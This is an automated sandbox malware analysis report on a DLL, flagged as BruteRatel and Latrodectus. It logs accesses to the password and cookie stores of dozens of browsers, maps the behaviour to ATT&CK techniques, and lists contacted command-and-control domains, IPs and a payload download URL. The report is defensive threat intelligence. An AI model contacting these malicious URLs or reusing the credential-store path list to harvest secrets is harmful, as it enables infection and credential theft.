Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\CentBrowser\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Bromium\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Nichrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Chedot\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Epic Privacy Browser\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Orbitum\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\CocCoc\Browser\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Vivaldi\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\RockMelt\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Chromium\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome SxS\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Yandex\YandexBrowser\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Kometa\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Go!\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Chedot\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Comodo\Dragon\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Kometa\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Xpom\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome SxS\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Comodo\Dragon\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\360Browser\Browser\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Torch\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\7Star\7Star\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\QIP Surf\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Chromium\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\uCozMedia\Uran\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Amigo\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Rafotech\Mustang\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Sputnik\Sputnik\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Safer Technologies\Secure Browser\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Vivaldi\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\CentBrowser\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Epic Privacy Browser\User Data\Default\Network\Cookies	Jump to behavior

Remote Access Functionality

Yara detected BruteRatel

Source: Yara match	File source: 00000003.00000003.2319042957.000001CEB022C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4537635408.000001CEB01FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4537513322.00000233A000C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4538291850.0000027619ADC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2421944396.0000027619B0B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2421877879.0000027619B0B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2516556491.00000233A003B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2513239547.00000233A003B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2319103261.000001CEB022C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 4084, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 6564, type: MEMORYSTR

Yara detected Latrodectus

Source: Yara match	File source: 00000008.00000002.4549377026.000000000977A000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 1028, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	131 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Native API	1 Valid Accounts	1 Valid Accounts	2 Obfuscated Files or Information	1 Credentials In Files	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	1 Windows Service	1 Access Token Manipulation	1 DLL Side-Loading	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Windows Service	1 Masquerading	NTDS	128 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	913 Process Injection	1 Valid Accounts	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Access Token Manipulation	Cached Domain Credentials	191 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Virtualization/Sandbox Evasion	DCSync	121 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	913 Process Injection	Proc Filesystem	13 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Rundll32	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	Stripped Payloads	Input Capture	1 Remote System Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	Embedded Payloads	Keylogging	21 System Network Configuration Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
wait.dll.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://reateberam.com/test/1303063_94378682313560_2056837URLS1https://dogirafer.com/test/4190877_54	100%	Avira URL Cloud	malware
https://dogirafer.com/test/a	0%	Avira URL Cloud	safe
https://reateberam.com/test/	100%	Avira URL Cloud	malware
https://reateberam.com/test/4560D	100%	Avira URL Cloud	malware
http://r11.o.lencr.org0	0%	Avira URL Cloud	safe
https://reateberam.com/test/9362058_57969102112118_633157URLS1https://dogirafer.com/test/8477611_767	100%	Avira URL Cloud	malware
https://huanvn.com:6542/gop.php6)	0%	Avira URL Cloud	safe
https://huanvn.com/	0%	Avira URL Cloud	safe
https://reateberam.com/test/t60G	100%	Avira URL Cloud	malware
https://huanvn.com:6542/gop.phpK	0%	Avira URL Cloud	safe
https://reateberam.com/test/X	100%	Avira URL Cloud	malware
https://vutarf.com/	0%	Avira URL Cloud	safe
https://reateberam.com/	100%	Avira URL Cloud	malware
https://dogirafer.com/m	0%	Avira URL Cloud	safe
https://dogirafer.com/test/	0%	Avira URL Cloud	safe
https://reateberam.com/test/w	100%	Avira URL Cloud	malware
https://huanvn.com:6542/gop.php5	0%	Avira URL Cloud	safe
https://dogirafer.com/	0%	Avira URL Cloud	safe
http://x1.i.lew	0%	Avira URL Cloud	safe
https://huanvn.com:6542/stop.php	0%	Avira URL Cloud	safe
https://vutarf.com/%	0%	Avira URL Cloud	safe
https://huanvn.com/~C	0%	Avira URL Cloud	safe
https://dogirafer.com/test/N#e	0%	Avira URL Cloud	safe
https://dogirafer.com/Z#q	0%	Avira URL Cloud	safe
https://reateberam.com/files/stkm.bino	100%	Avira URL Cloud	malware
https://reateberam.com/q	100%	Avira URL Cloud	malware
https://reateberam.com/files/stkm.bin	100%	Avira URL Cloud	malware
https://dogirafer.com/3405117-2476756634-1003	0%	Avira URL Cloud	safe
https://huanvn.com:6542/gop.php	0%	Avira URL Cloud	safe
https://huanvn.com:6542/gop.phpn)?	0%	Avira URL Cloud	safe
https://vutarf.com:6542/stop.php	0%	Avira URL Cloud	safe
https://dogirafer.com/test/ys	0%	Avira URL Cloud	safe
https://reateberam.com/test/4439042_94940942440575_5318539URLS1https://dogirafer.com/test/3185439_50	100%	Avira URL Cloud	malware
https://reateberam.com/test/4560	100%	Avira URL Cloud	malware
https://dogirafer.com/.5	0%	Avira URL Cloud	safe
https://reateberam.com/files/stkm.binSL	100%	Avira URL Cloud	malware
https://vutarf.com:6542/stop.phpo	0%	Avira URL Cloud	safe
http://r10.o.lencr.o	0%	Avira URL Cloud	safe
https://dogirafer.com/test/E	0%	Avira URL Cloud	safe
https://reateberam.com/test/3630449_22862766669148_5703346URLS1https://dogirafer.com/test/6092916_19	100%	Avira URL Cloud	malware
https://dogirafer.com/uo	0%	Avira URL Cloud	safe
https://vutarf.com/W	0%	Avira URL Cloud	safe
https://reateberam.com/p	100%	Avira URL Cloud	malware
https://vutarf.com:6542/stop.phpu	0%	Avira URL Cloud	safe
https://vutarf.com:6542/gop.php	0%	Avira URL Cloud	safe
https://huanvn.com/P	0%	Avira URL Cloud	safe
https://huanvn.com/Q	0%	Avira URL Cloud	safe
https://dogirafer.com/eo	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
vutarf.com	94.232.43.224	true	true	unknown
reateberam.com	172.67.217.190	true	true	unknown
huanvn.com	103.57.249.207	true	true	unknown
dogirafer.com	104.21.68.89	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://reateberam.com/test/	true	Avira URL Cloud: malware	unknown
https://dogirafer.com/test/	true	Avira URL Cloud: safe	unknown
https://reateberam.com/files/stkm.bin	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://word.office.comon	explorer.exe, 00000008.00000002.4549635767.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3094423766.00000000099B1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2323476795.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3856101577.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	false		high
https://reateberam.com/test/1303063_94378682313560_2056837URLS1https://dogirafer.com/test/4190877_54	explorer.exe, 00000008.00000003.3362838683.00000000089B0000.00000040.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://r11.o.lencr.org0	rundll32.exe, 00000004.00000003.3189915163.0000027617D52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536958246.0000027617D52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421623053.0000027617D52000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://powerpoint.office.comcember	explorer.exe, 00000008.00000000.2325776934.000000000C460000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4553248554.000000000C460000.00000004.00000001.00020000.00000000.sdmp	false		high
https://reateberam.com/test/9362058_57969102112118_633157URLS1https://dogirafer.com/test/8477611_767	explorer.exe, 00000008.00000003.3414819462.00000000088C0000.00000040.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://dogirafer.com/test/a	explorer.exe, 00000008.00000002.4554024065.000000000C81C000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reateberam.com/test/4560D	explorer.exe, 00000008.00000003.3857221025.000000000C90B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3863553988.000000000C92E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3855885147.000000000C908000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://huanvn.com:6542/gop.php6)	rundll32.exe, 00000004.00000002.4536038404.0000027617C68000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://huanvn.com/	rundll32.exe, 00000003.00000002.4535814161.000001CEAE41C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421807994.0000027617CDD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536296761.0000027617CDD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4535937784.000002339E18D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reateberam.com/test/t60G	explorer.exe, 00000008.00000003.3857221025.000000000C90B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3863553988.000000000C92E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3855885147.000000000C908000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://excel.office.com	explorer.exe, 00000008.00000000.2323476795.0000000009B41000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3103191493.0000000009BB0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4549635767.0000000009B41000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3103624134.0000000009C21000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3856101577.0000000009B41000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3100576777.0000000009B8F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3094423766.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	false		high
https://huanvn.com:6542/gop.phpK	rundll32.exe, 00000003.00000002.4535814161.000001CEAE41C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.micro	explorer.exe, 00000008.00000000.2322979543.0000000008890000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000008.00000000.2322953274.0000000008870000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000008.00000002.4547057338.0000000007DC0000.00000002.00000001.00040000.00000000.sdmp	false		high
https://reateberam.com/test/X	explorer.exe, 00000008.00000003.3857221025.000000000C90B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3863553988.000000000C92E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3855885147.000000000C908000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://vutarf.com/	rundll32.exe, 00000003.00000002.4535814161.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.4535814161.000001CEAE474000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2318890532.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3190095879.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536842943.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3190119329.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421653008.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3219518856.000002339E1CA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4536479202.000002339E1CA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2511990228.000002339E1CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reateberam.com/	explorer.exe, 00000008.00000002.4549635767.0000000009B41000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4555029441.000000000CA51000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3856101577.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://x1.i.lew	rundll32.exe, 00000004.00000003.3189915163.0000027617D52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536958246.0000027617D52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421623053.0000027617D52000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dogirafer.com/m	explorer.exe, 00000008.00000002.4554024065.000000000C81C000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	rundll32.exe, 00000003.00000002.4535814161.000001CEAE3A8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3190095879.000001CEAE422000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.4537635408.000001CEB01E0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.4535814161.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2318890532.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3190095879.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2318826583.000001CEAE494000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.4535814161.000001CEAE422000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2318890532.000001CEAE421000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536842943.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421653008.0000027617CE6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3189915163.0000027617D52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3190119329.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536296761.0000027617CE8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536958246.0000027617D52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421623053.0000027617D52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421653008.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3190080056.0000027617D55000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4535937784.000002339E193000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3219328549.000002339E1F5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3219239496.000002339E1FA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	rundll32.exe, 00000003.00000002.4535814161.000001CEAE3A8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3190095879.000001CEAE422000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.4537635408.000001CEB01E0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.4535814161.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2318890532.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3190095879.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2318826583.000001CEAE494000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.4535814161.000001CEAE422000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2318890532.000001CEAE421000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536842943.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421653008.0000027617CE6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3189915163.0000027617D52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3190119329.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536296761.0000027617CE8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536958246.0000027617D52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421623053.0000027617D52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421653008.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3190080056.0000027617D55000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4535937784.000002339E193000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3219328549.000002339E1F5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3219239496.000002339E1FA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe	explorer.exe, 00000008.00000002.4553248554.000000000C4DC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2325776934.000000000C4DC000.00000004.00000001.00020000.00000000.sdmp	false		high
https://dogirafer.com/	explorer.exe, 00000008.00000003.3861913197.0000000009C93000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4554444765.000000000C8DC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4554853307.000000000C9A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4554024065.000000000C81C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4555029441.000000000CA51000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3856101577.0000000009C93000.00000004.00000001.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://huanvn.com:6542/stop.php	rundll32.exe, 00000006.00000002.4535937784.000002339E18D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4535937784.000002339E11E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reateberam.com/test/w	explorer.exe, 00000008.00000003.3863706304.0000000003532000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3864470409.0000000003534000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://huanvn.com:6542/gop.php5	rundll32.exe, 00000003.00000002.4535814161.000001CEAE3A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vutarf.com/%	rundll32.exe, 00000004.00000002.4536842943.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3190119329.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421653008.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wns.windows.com/)s	explorer.exe, 00000008.00000002.4549635767.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3094423766.00000000099B1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2323476795.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3856101577.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	false		high
https://dogirafer.com/Z#q	explorer.exe, 00000008.00000003.3861913197.0000000009C93000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3856101577.0000000009C93000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dogirafer.com/test/N#e	explorer.exe, 00000008.00000003.3861913197.0000000009C93000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3856101577.0000000009C93000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://huanvn.com/~C	rundll32.exe, 00000004.00000003.2421807994.0000027617CDD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536296761.0000027617CDD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reateberam.com/files/stkm.bino	explorer.exe, 00000008.00000003.3857221025.000000000C90B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4554444765.000000000C930000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3863553988.000000000C92E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3855885147.000000000C908000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://r11.o.lencr.org0#	rundll32.exe, 00000003.00000002.4535814161.000001CEAE3A8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3190095879.000001CEAE422000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.4537635408.000001CEB01E0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2318826583.000001CEAE494000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.4535814161.000001CEAE422000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2318890532.000001CEAE421000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421653008.0000027617CE6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3189915163.0000027617D52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536296761.0000027617CE8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 